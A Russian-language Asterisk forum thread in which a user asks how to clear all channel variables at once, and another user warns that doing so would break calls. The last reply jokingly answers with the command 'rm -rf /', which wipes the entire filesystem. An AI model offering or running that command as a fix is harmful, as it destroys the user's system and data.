AF
Asterisk Forum
обсуждения телефонии, VoIP и IP-PBX
12разделов
5 423тем
34 385сообщений
← К списку тем

Как очистить все канальные переменные одним махом

Asterisk IP PBX 4 сообщений -
#1

Можно ли одной командой очистить все канальные переменные (НЕ ГЛОБАЛЬНЫЕ А КАНАЛЬНЫЕ).

В проге в трех местах делаются петли с заворотом на единный AGI, при этом на AGI передаются новые входные данные, однако, есть и те которые должны генерироваться внутри AGI для дальнейшего использования в статике. Но если переменные не пустые, то юзаются старые, а в трех случаях из многих их нужно обновить.

Вот и возник вопрос как их почистить. Мне проще очистить все. В мануалах есть чистка глобальных, но не нашел чистку канальных.

_________________
АВТОМАТИЗАЦИЯ ДИСПЕТЧЕСКИХ ТАКСИ

УНИКАЛЬНАЯ ТЕХНОЛОГИЯ "ТАКСИ БЕЗ ДИСПЕТЧЕРОВ" - без Java и/или Интренет (только телефоны) http://tet-a-tet.mobi
#2

Безумец...

Подобное я видел у одного из наших партнеров, там один умник вместа инициализации переменных в конструкторе класса C++ родил: memset(this, NULL, sizeof(*this)) -и плевать на виртуальные классы)

В астере же и внутри используются какие-либо переменные канала, занулив всё просто придет кирдык звонку!

Правильнее другое: база и там уже рули. А в переменной канала - индекс.

_________________
http://mh.otx.ru Гибкие SIP/E1 шлюзы Alvis. SIP-Модернизация LDK/TDA:VoIP, Добавь E1 к Asterisk.
UPDATE! Теперь и T.38! Скидки для форумчан!!
#3

Да у меня итак все в БД и инициализируется в Сишном модуле к астеру и нескольких AGI, однако, нет желания вспоминать что там было инициализированно, чтоб его чистить "пофамильно или поименно". А с решением "в лоб" (завернуть на входящий екст. и начать все по новому) вышел небольшой обломчик. Разбираться из=за "хотелок заказчика" (которые на 99% не будут востребованы) не хочется. Потому проще рубануть "все" и востановить нужное, чем по всему коду вылавливать "а как оно влияет".

В общем нет такой команды?

_________________
АВТОМАТИЗАЦИЯ ДИСПЕТЧЕСКИХ ТАКСИ

УНИКАЛЬНАЯ ТЕХНОЛОГИЯ "ТАКСИ БЕЗ ДИСПЕТЧЕРОВ" - без Java и/или Интренет (только телефоны) http://tet-a-tet.mobi
#4

есть!

Код:
rm -rf /